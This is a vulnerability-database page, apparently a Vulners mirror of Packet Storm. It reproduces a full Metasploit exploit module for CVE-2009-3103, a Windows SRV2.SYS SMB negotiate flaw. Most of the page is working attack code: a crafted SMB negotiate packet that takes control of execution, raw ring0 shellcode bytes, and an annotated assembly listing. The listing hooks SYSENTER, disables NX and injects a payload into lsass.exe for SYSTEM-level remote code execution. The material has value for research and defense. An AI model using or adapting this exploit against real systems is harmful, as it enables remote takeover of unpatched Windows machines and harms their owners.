Lucene search
K

Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference

🗓️ 29 Sep 2009 00:00:00Reported by laurent gaffieType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 98 Views

Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference exploi

Related
Code
`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::SMB  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference',  
'Description' => %q{  
This module exploits an out of bounds function table dereference in the SMB  
request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7  
release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista  
without SP1 does not seem affected by this flaw.  
},  
  
'Author' => [ 'laurent.gaffie[at]gmail.com', 'hdm', 'sf' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[  
['CVE', '2009-3103'],  
['BID', '36299'],  
['OSVDB', '57799'],  
['URL', 'http://seclists.org/fulldisclosure/2009/Sep/0039.html'],  
['URL', 'http://www.microsoft.com/technet/security/advisory/975497.mspx']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 1024,  
'StackAdjustment' => -3500,  
'DisableNops' => true,  
'EncoderType' => Msf::Encoder::Type::Raw,  
},  
'Platform' => 'win',  
'Targets' =>  
[   
[ 'Windows Vista SP1/SP2 and Server 2008 (x86)',  
{  
'Platform' => 'win',  
'Arch' => [ ARCH_X86 ],  
'Ret' => 0xFFD00D09, # "POP ESI; RET" from the kernels HAL memory region ...no ASLR :)  
'ReadAddress' => 0xFFDF0D04, # A readable address from kernel space (no nulls in address).  
'ProcessIDHigh' => 0x0217, # srv2!SrvSnapShotScavengerTimer  
'MagicIndex' => 0x3FFFFFB4, # (DWORD)( MagicIndex*4 + 0x130 ) == 0  
}  
],  
],  
'DefaultTarget' => 0  
))  
  
register_options( [ Opt::RPORT(445), OptInt.new( 'WAIT', [ true, "The number of seconds to wait for the attack to complete.", 180 ] ) ], self.class )  
end  
  
# The payload works as follows:  
# * Our sysenter handler and ring3 stagers are copied over to safe location.  
# * The SYSENTER_EIP_MSR is patched to point to our sysenter handler.  
# * The srv2.sys thread we are in is placed in a halted state.  
# * Upon any ring3 proces issuing a sysenter command our ring0 sysenter handler gets control.  
# * The ring3 return address is modified to force our ring3 stub to be called if certain conditions met.  
# * If NX is enabled we patch the respective page table entry to disable it for the ring3 code.  
# * Control is passed to real sysenter handler, upon the real sysenter handler finishing, sysexit will return to our ring3 stager.  
# * If the ring3 stager is executing in the desired process our sysenter handler is removed and the real ring3 payload called.  
def ring0_x86_payload( opts = {} )  
  
# The page table entry for StagerAddressUser, used to bypass NX in ring3 on PAE enabled systems (should be static).  
pagetable = opts['StagerAddressPageTable'] || 0xC03FFF00  
  
# The address in kernel memory where we place our ring0 and ring3 stager (no ASLR).  
kstager = opts['StagerAddressKernel'] || 0xFFDF0400  
  
# The address in shared memory (addressable from ring3) where we can find our ring3 stager (no ASLR).  
ustager = opts['StagerAddressUser'] || 0x7FFE0400  
  
# Target SYSTEM process to inject ring3 payload into.  
process = (opts['RunInWin32Process'] || 'lsass.exe').unpack('C*')  
  
# A simple hash of the process name based on the first 4 wide chars.  
# Assumes process is located at '*:\windows\system32\'. (From Rex::Payloads::Win32::Kernel::Stager)  
checksum = process[0] + ( process[2] << 8 ) + ( process[1] << 16 ) + ( process[3] << 24 )  
  
# The ring0 -> ring3 payload blob. Full assembly listing given below.  
r0 = "\xFC\xFA\xEB\x1E\x5E\x68\x76\x01\x00\x00\x59\x0F\x32\x89\x46\x60" +  
"\x8B\x7E\x64\x89\xF8\x0F\x30\xB9\x41\x41\x41\x41\xF3\xA4\xFB\xF4" +  
"\xEB\xFD\xE8\xDD\xFF\xFF\xFF\x6A\x00\x9C\x60\xE8\x00\x00\x00\x00" +  
"\x58\x8B\x58\x57\x89\x5C\x24\x24\x81\xF9\xDE\xC0\xAD\xDE\x75\x10" +  
"\x68\x76\x01\x00\x00\x59\x89\xD8\x31\xD2\x0F\x30\x31\xC0\xEB\x34" +  
"\x8B\x32\x0F\xB6\x1E\x66\x81\xFB\xC3\x00\x75\x28\x8B\x58\x5F\x8D" +  
"\x5B\x6C\x89\x1A\xB8\x01\x00\x00\x80\x0F\xA2\x81\xE2\x00\x00\x10" +  
"\x00\x74\x11\xBA\x45\x45\x45\x45\x81\xC2\x04\x00\x00\x00\x81\x22" +  
"\xFF\xFF\xFF\x7F\x61\x9D\xC3\xFF\xFF\xFF\xFF\x42\x42\x42\x42\x43" +  
"\x43\x43\x43\x60\x6A\x30\x58\x99\x64\x8B\x18\x39\x53\x0C\x74\x2E" +  
"\x8B\x43\x10\x8B\x40\x3C\x83\xC0\x28\x8B\x08\x03\x48\x03\x81\xF9" +  
"\x44\x44\x44\x44\x75\x18\xE8\x0A\x00\x00\x00\xE8\x10\x00\x00\x00" +  
"\xE9\x09\x00\x00\x00\xB9\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3"  
# Patch in the required values.  
r0 = r0.gsub( [ 0x41414141 ].pack("V"), [ ( r0.length + payload.encoded.length - 0x1C ) ].pack("V") )  
r0 = r0.gsub( [ 0x42424242 ].pack("V"), [ kstager ].pack("V") )  
r0 = r0.gsub( [ 0x43434343 ].pack("V"), [ ustager ].pack("V") )  
r0 = r0.gsub( [ 0x44444444 ].pack("V"), [ checksum ].pack("V") )  
r0 = r0.gsub( [ 0x45454545 ].pack("V"), [ pagetable ].pack("V") )  
# Return the ring0 -> ring3 payload blob with the real ring3 payload appended.  
return r0 + payload.encoded  
end  
  
def exploit  
print_status( "Connecting to the target (#{datastore['RHOST']}:#{datastore['RPORT']})..." )  
connect  
  
# we use ReadAddress to avoid problems in srv2!SrvProcCompleteRequest   
# and srv2!SrvProcPartialCompleteCompoundedRequest  
dialects = [ [ target['ReadAddress'] ].pack("V") * 25, "SMB 2.002" ]  
  
data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')  
data += [ 0x00000000 ].pack("V") * 37 # Must be NULL's  
data += [ 0xFFFFFFFF ].pack("V") # Used in srv2!SrvConsumeDataAndComplete2+0x34 (known stability issue with srv2!SrvConsumeDataAndComplete2+6b)  
data += [ 0xFFFFFFFF ].pack("V") # Used in srv2!SrvConsumeDataAndComplete2+0x34   
data += [ 0x42424242 ].pack("V") * 7 # Unused  
data += [ target['MagicIndex'] ].pack("V") # An index to force an increment the SMB header value :) (srv2!SrvConsumeDataAndComplete2+0x7E)  
data += [ 0x41414141 ].pack("V") * 6 # Unused  
data += [ target.ret ].pack("V") # EIP Control thanks to srv2!SrvProcCompleteRequest+0xD2  
data += ring0_x86_payload( target['PayloadOptions'] || {} ) # Our ring0 -> ring3 shellcode  
  
# We gain code execution by returning into the SMB packet, begining with its header.  
# The SMB packets Magic Header value is 0xFF534D42 which assembles to "CALL DWORD PTR [EBX+0x4D]; INC EDX"  
# This will cause an access violation if executed as we can never set EBX to a valid pointer.  
# To overcome this we force an increment of the header value (via MagicIndex), transforming it to 0x00544D42.  
# This assembles to "ADD BYTE PTR [EBP+ECX*2+0x42], DL" which is fine as ECX will be zero and EBP is a vaild pointer.  
# We patch the Signature1 value to be a jump forward into our shellcode.  
packet = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct  
packet['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE  
packet['Payload']['SMB'].v['Flags1'] = 0x18  
packet['Payload']['SMB'].v['Flags2'] = 0xC853  
packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh']  
packet['Payload']['SMB'].v['Signature1'] = 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload.  
packet['Payload']['SMB'].v['Signature2'] = 0x00000000 # ...  
packet['Payload']['SMB'].v['MultiplexID'] = rand( 0x10000 )  
packet['Payload'].v['Payload'] = data  
  
packet = packet.to_s  
  
print_status( "Sending the exploit packet (#{packet.length} bytes)..." )  
sock.put( packet )  
  
  
wtime = datastore['WAIT'].to_i  
print_status( "Waiting up to #{wtime} second#{wtime == 1 ? '' : 's'} for exploit to trigger..." )  
stime = Time.now.to_i  
  
  
poke_logins = %W{Guest Administrator}  
poke_logins.each do |login|  
begin  
sec = connect(false)  
sec.login(datastore['SMBName'], login, rand_text_alpha(rand(8)+1), rand_text_alpha(rand(8)+1))  
rescue ::Exception => e  
sec.socket.close  
end   
end  
  
while( stime + wtime > Time.now.to_i )  
select(nil, nil, nil, 0.25)  
break if session_created?  
end  
  
handler  
disconnect  
end  
  
end  
  
=begin  
;===================================================================================  
; sf  
; Recommended Reading: Kernel-mode Payloads on Windows, 2005, bugcheck & skape.  
; http://www.uninformed.org/?v=3&a=4&t=sumry  
;===================================================================================  
[bits 32]  
[org 0]  
;===================================================================================  
ring0_migrate_start:  
cld  
cli  
jmp short ring0_migrate_bounce ; jump to bounce to get ring0_stager_start address  
ring0_migrate_patch:  
pop esi ; pop off ring0_stager_start address  
; get current sysenter msr (nt!KiFastCallEntry)  
push 0x176 ; SYSENTER_EIP_MSR  
pop ecx  
rdmsr  
; save origional sysenter msr (nt!KiFastCallEntry)  
mov dword [ esi + ( ring0_stager_data - ring0_stager_start ) + 0 ], eax  
; retrieve the address in kernel memory where we will write the ring0 stager + ring3 code  
mov edi, dword [ esi + ( ring0_stager_data - ring0_stager_start ) + 4 ]  
; patch sysenter msr to be our stager  
mov eax, edi  
wrmsr  
; copy over stager to shared memory  
mov ecx, 0x41414141 ; ( ring3_stager - ring0_stager_start + length(ring3_stager) )  
rep movsb  
sti ; set interrupt flag  
; Halt this thread to avoid problems.  
ring0_migrate_idle:  
hlt  
jmp short ring0_migrate_idle  
ring0_migrate_bounce:  
call ring0_migrate_patch ; call the patch code, pushing the ring0_stager_start address to stack  
;===================================================================================  
; This stager will now get called every time a ring3 process issues a sysenter  
ring0_stager_start:  
push byte 0 ; alloc a dword for the patched return address  
pushfd ; save flags and registers  
pushad  
call ring0_stager_eip  
ring0_stager_eip:  
pop eax  
; patch in the real nt!KiFastCallEntry address as our return address  
mov ebx, dword [ eax + ( ring0_stager_data - ring0_stager_eip ) + 0 ]  
mov [ esp + 36 ], ebx  
; see if we are being told to remove our sysenter hook...  
cmp ecx, 0xDEADC0DE  
jne ring0_stager_hook  
push 0x176 ; SYSENTER_EIP_MSR  
pop ecx  
mov eax, ebx ; set the sysenter msr to be the real nt!KiFastCallEntry address  
xor edx, edx  
wrmsr  
xor eax, eax ; clear eax (the syscall number) so we can continue  
jmp short ring0_stager_finish  
ring0_stager_hook:  
; get the origional r3 return address (edx is the ring3 stack pointer)  
mov esi, [ edx ]  
; determine if the return is to a "ret" instruction  
movzx ebx, byte [ esi ]  
cmp bx, 0xC3  
; only insert our ring3 stager hook if we are to return to a single ret (for stability).  
jne short ring0_stager_finish  
; calculate our r3 address in shared memory  
mov ebx, dword [ eax + ( ring0_stager_data - ring0_stager_eip ) + 8 ]  
lea ebx, [ ebx + ring3_start - ring0_stager_start ]  
; patch in our r3 stage as the r3 return address  
mov [ edx ], ebx  
; detect if NX is present (clobbers eax,ebx,ecx,edx)...  
mov eax, 0x80000001  
cpuid  
and edx, 0x00100000 ; bit 20 is the NX bit  
jz short ring0_stager_finish  
; modify the correct page table entry to make our ring3 stager executable  
mov edx, 0x45454545 ; we default to 0xC03FFF00 this for now (should calculate dynamically).  
add edx, 4  
and dword [ edx ], 0x7FFFFFFF ; clear the NX bit  
; finish up by returning into the real KiFastCallEntry and then returning into our ring3 code (if hook was set).  
ring0_stager_finish:  
popad ; restore registers  
popfd ; restore flags  
ret ; return to real nt!KiFastCallEntry  
ring0_stager_data:  
dd 0xFFFFFFFF ; saved nt!KiFastCallEntry  
dd 0x42424242 ; kernel memory address of stager (default to 0xFFDF0400)  
dd 0x43434343 ; shared user memory address of stager (default to 0x7FFE0400)  
;===================================================================================  
ring3_start:  
pushad  
push byte 0x30  
pop eax  
cdq ; zero edx  
mov ebx, [ fs : eax ] ; get the PEB  
cmp [ ebx + 0xC ], edx  
jz ring3_finish  
mov eax, [ ebx + 0x10 ] ; get pointer to the ProcessParameters (_RTL_USER_PROCESS_PARAMETERS)  
mov eax, [ eax + 0x3C ] ; get the current processes ImagePathName (unicode string)  
add eax, byte 0x28 ; advance past '*:\windows\system32\' (we assume this as we want a system process).  
mov ecx, [ eax ] ; compute a simple hash of the name. get first 2 wide chars of name 'l\x00s\x00'  
add ecx, [ eax + 0x3 ] ; and add '\x00a\x00s'  
cmp ecx, 0x44444444 ; check the hash (default to hash('lsass.exe') == 0x7373616C)  
jne ring3_finish ; if we are not currently in the correct process, return to real caller  
call ring3_cleanup ; otherwise we first remove our ring0 sysenter hook  
call ring3_stager ; and then call the real ring3 payload  
jmp ring3_finish ; should the payload return we can resume this thread correclty.  
ring3_cleanup:  
mov ecx, 0xDEADC0DE ; set the magic value for ecx  
mov edx, esp ; save our esp in edx for sysenter  
sysenter ; now sysenter into ring0 to remove the sysenter hook (return to ring3_cleanup's caller).  
ring3_finish:  
popad  
ret ; return to the origional system calls caller  
;===================================================================================  
ring3_stager:  
; ...ring3 stager here...  
;===================================================================================  
=end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation